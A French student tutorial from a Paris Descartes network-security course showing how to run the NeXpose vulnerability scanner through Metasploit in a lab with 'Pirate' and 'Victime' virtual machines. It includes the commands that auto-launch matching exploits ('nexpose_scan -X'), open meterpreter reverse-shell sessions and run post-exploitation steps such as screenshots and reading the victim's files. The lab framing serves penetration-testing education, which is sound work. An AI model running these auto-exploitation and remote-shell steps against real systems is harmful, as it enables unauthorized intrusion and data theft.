Sabrine Klouj

Sécurité des Réseaux et des Contenus Multimédia
M2 RIP
Université Paris Descartes
2011- 2012

Introduction

L’origine du mot hacker remonte à l’arrivée du premier ordinateur au MIT (Massachusetts Institute of Technology, université américaine située à Cambridge): l’IBM 704.
Cet ordinateur devient rapidement la proie d’étudiants passionnés qui vont pousser la machine à bout. A l’époque, on qualifia leurs travaux avec le terme hacking qui était le fait d’utiliser une machine ou une technologie à des fins qui n’étaient pas prévus.

Aujourd’hui, le mot hacker désigne un grand spécialiste de l’informatique, que ce soit dans le domaine de la sécurité que celui de la programmation ou d’un quelconque autre domaine de l’informatique.

La gestion des vulnérabilités, c'est QUOI?

"La gestion des vulnérabilités est la pratique cyclique de l'identification, la classification, la restauration, et l'atténuation des vulnérabilités". Cette pratique se réfère généralement à des vulnérabilités logicielles dans les systèmes informatiques.
Les outils classiques utilisés pour identifier et classer les vulnérabilités connues sont les scanners de vulnérabilités. Ces outils recherchent des vulnérabilités connues et signalés par la communauté de sécurité, et qui généralement sont déjà fixés par les fournisseurs concernés avec des correctifs et mises à jour de sécurité.
Parmi ces scanners de vulnérabilités, nous citons NeXpose.

Metasploit & NeXpose

Metasploit était un projet open-source sur la sécurité informatique qui fournit des informations sur des vulnérabilités et l'aide à la pénétration de systèmes informatisés. Le plus connu des sous-projets est le Metasploit Framework (MSF), un outil pour le développement et l'exécution d'exploits contre une machine distante.
Aujourd'hui, nous allons voir comment utiliser Nexpose, un scanner de vulnérabilités open-source à travers Metasploit Framework.

Metasploit contient un plugin Nexpose qui nous permet de nous connecter au serveur Nexpose, faire un scan du système cible et importer les résultats d'analyse à Metasploit puis MSF va vérifier les exploits correspondant à ces vulnérabilités et les exécuter automatiquement si le système cible est vulnérable, puis nous proposer un shell interactif.

Le Tutoriel

Environnement de test:

  • VirtualBOX 4.1.6 : préparation de deux machines virtuelles (Pirate et Victime)
  • Backtrack 5 R1: Le système d'exploitation de la machine Pirate
  • Windows XP SP2: Le système d'exploitation de la machine Victime.

1- Installation du serveur NeXpose:

Téléchargement et installation des dépendances:
root@bt:~# wget  http://ftp.us.debian.org/debian/pool/main/g/gcc-3.3/libstdc++5_3.3.6-20_i386.deb
--2011-07-23 14:06:35--  http://ftp.us.debian.org/debian/pool/main/g/gcc-3.3/libstdc++5_3.3.6-20_i386.deb
Resolving ftp.us.debian.org... 199.6.12.70, 35.9.37.225, 64.50.233.100, ...
Connecting to ftp.us.debian.org|199.6.12.70|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 311392 (304K) [application/octet-stream]
Saving to: `libstdc++5_3.3.6-20_i386.deb'
100%[======================================>]  311,392     56.2K/s   in 5.4s    
2011-07-23 14:06:45 (56.2 KB/s) -  `libstdc++5_3.3.6-20_i386.deb' saved [311392/311392]
root@bt:~# dpkg -i libstdc++5_3.3.6-20_i386.deb
Selecting previously deselected package libstdc++5.
(Reading database ... 238105 files and directories currently installed.)
Unpacking libstdc++5 (from libstdc++5_3.3.6-20_i386.deb) ...
Setting up libstdc++5 (1:3.3.6-20) ...

Processing triggers for libc-bin ...
ldconfig deferred processing now taking place
Téléchargement du serveur Nexpose:

Le binaire du serveur NeXpose se trouve au: http://www.rapid7.com/vulnerability-scanner.jsp

Pour ce tuto, j'ai téléchargé le binaire pour l'Ubuntu en 32 bit.
ATTENTION: NeXpose sevrer est exigent en ressources:
 -- 4 Go de Mémoire et 10 Go d'espace disque minimum.

Suite au téléchargement de l'outil, vous recevrez un email contenant la clé d'activation de NeXpose.

2- Lancement et activation du serveur NeXpose:

Pour commencer, il faut se connecter à l'interface graphique proposée par l'outil au http://127.0.0.1:3780/login.html, insérer le code et finaliser l'activation.

Lancement du serveur:

root@bt:/opt/rapid7/nexpose/nsc# ./nsc.sh

3- Lancement de la console metasploit:

root@bt:~# msfconsole

4- Chargement du plugin NeXpose sous metasploit:

Commençons par vérifier que la console est bien connectée à une base de données de collecte.

msf > db_status
[*] postgresql connected to msf3
Tout est OK? Passons au chargement du plugin
msf  > load nexpose

5- Connexion du plugin au serveur NeXpose:

msf > nexpose_connect  SabrineKlouj:parisdescartes@127.0.0.1 ok
[*] Connecting to NexPose instance at 127.0.0.1:3780  with username Sabrineklouj.
...

6- Lancement du scan sur la machine victime (IP: 192.168.56.103) :

msf > nexpose_scan -X 192.168.56.103
[*] Scanning 1 addresses with template pentest-audit  in sets of 32

7- Exploitation des vulnérabilités:

A la fin du scan, une liste des vulnérabilités s'affiche sous forme de sessions meterpreter numérotées.
Un meterpreter est un composant de metasploit sous forme de code qui s'injecte dans les fichiers dll du poste de la victime. Il permet d'établir une connexion inverse (reverse tcp) depuis la machine victime vers le pirate et donc ouvrir un accès shell.

Pour exploiter une vulnérabilité, il faut choisir le numéro de la session puis utiliser la commande:

 msf  > sessions -i <<Numéro de la session>>
Commandes d'exploitation:

Tapez <<?>> pour voir l'ensemble des commandes que nous pouvons utiliser.

Pour consulter les informations système de la machine victime:

meterpreter > sysinfo

Pour afficher l'arborescence dans laquelle nous nous positionnons:

meterpreter > pwd

Exploration d'un fichier sur la machine victime:
Nous avons créé un répertoire SabrineKlouj sous C:\ de la machine distante contenant un fichier texte ID.txt avec quelques informations dedans. 

En utilisant certaines commandes unix comme cd (change directory), ls (list) ou cat (concat), j'ai réussi à accèder au fichier ID.txt et lire son contenu à depuis le poste Pirate.

Récupérer une capture d'écran de la machine Victime:

meterpreter > screenshot

8- Guide d'usage:

nexpose_connect Se connecter à une instance NeXpose démarré ( user:pass@host[:port] )
nexpose_activity Afficher tout processus de scan actif sur l'instance NeXpose
nexpose_scan Lancer un scan NeXpose sur une plage IP spécifique et importer les résultats
nexpose_disconnect Se déconnecter d'une instance NeXpose active
nexpose_discover Lancer un scan pour un service de découverte minimal des machines.
nexpose_dos Lancer un scan qui contient des vérifications qui pourront nuire àdes  services et des périphériques.
nexpose_exhaustive Lancer un scan qui couvre tous les ports TCP et les vérifications d'intégrité autorisées.
nexpose_scan -h 
OPTIONS: 
     -h        menu  d'aide 
    -n <opt>  Nombre maximum des IPs à scanner à la fois (32 par défaut)
    -s <opt>  Le répertoire pour stocker les fichiers XML bruts de l'instance NeXpose
    -t <opt>  Le template de scan à utiliser (par défaut:pentest-audit options:full-audit,etc)
    -v        Afficher les informations de diagnostique sur le processus en cours de scan
    -x        Lancer automatiquement tous les exploits en faisant la correspondance entre les références après le scan.
    -X        Lancer automatiquement tous les exploits en faisant la correspondance entre les références et les ports après le scan
    -P        Garder les données du scan sur le serveur.

9- IHM de la console de securité de NeXpose

NeXpose propose une interface web qui permet à son tour de scanner une ou plusieurs machines distantes et de détecter les failles.
Elle permet aussi et essentiellement de générer un rapport sur la liste des vulnérabilités, leurs criticités ainsi que les correctifs pour remédier à ces faiblesses.

* Configuration du site à auditer:
1) Au niveau de l'onglet "Home", cliquez sur "New Static Site".
2) Saisissez les IPs des machines à scanner.

3) Sélectionnez le type du scan à appliquer. ("Full audit" dans notre cas)

* Scan du site distant:
1) Cliquez sur la petite flèche blanche (au milieu du cadre vert).
Cliquez sur "Start Now" pour lancer le scan.

2) A la fin du scan, cliquez sue le nom de la machine audité pour explorer ses vulnérabilités.

* Génération du rapport d'Audit:
Dans la même page des vulnérabilités, vous trouverez le bouton "Create asset report".
Ce dernier vous permettra de générer un rapport d'audit regroupant l'ensemble des vulnérabilités et les correctifs correspondants.

Exemple de rapport généré.

Mot de la fin

J'espère avoir réussi à vous faire découvrir NeXpose et à vous apporter les connaissances nécessaires pour une première prise en main de ce puissant outil.

Pour toutes vos questions, n'hésitez pas à me contacter sur sabrine.klouj@etu.parisdescartes.fr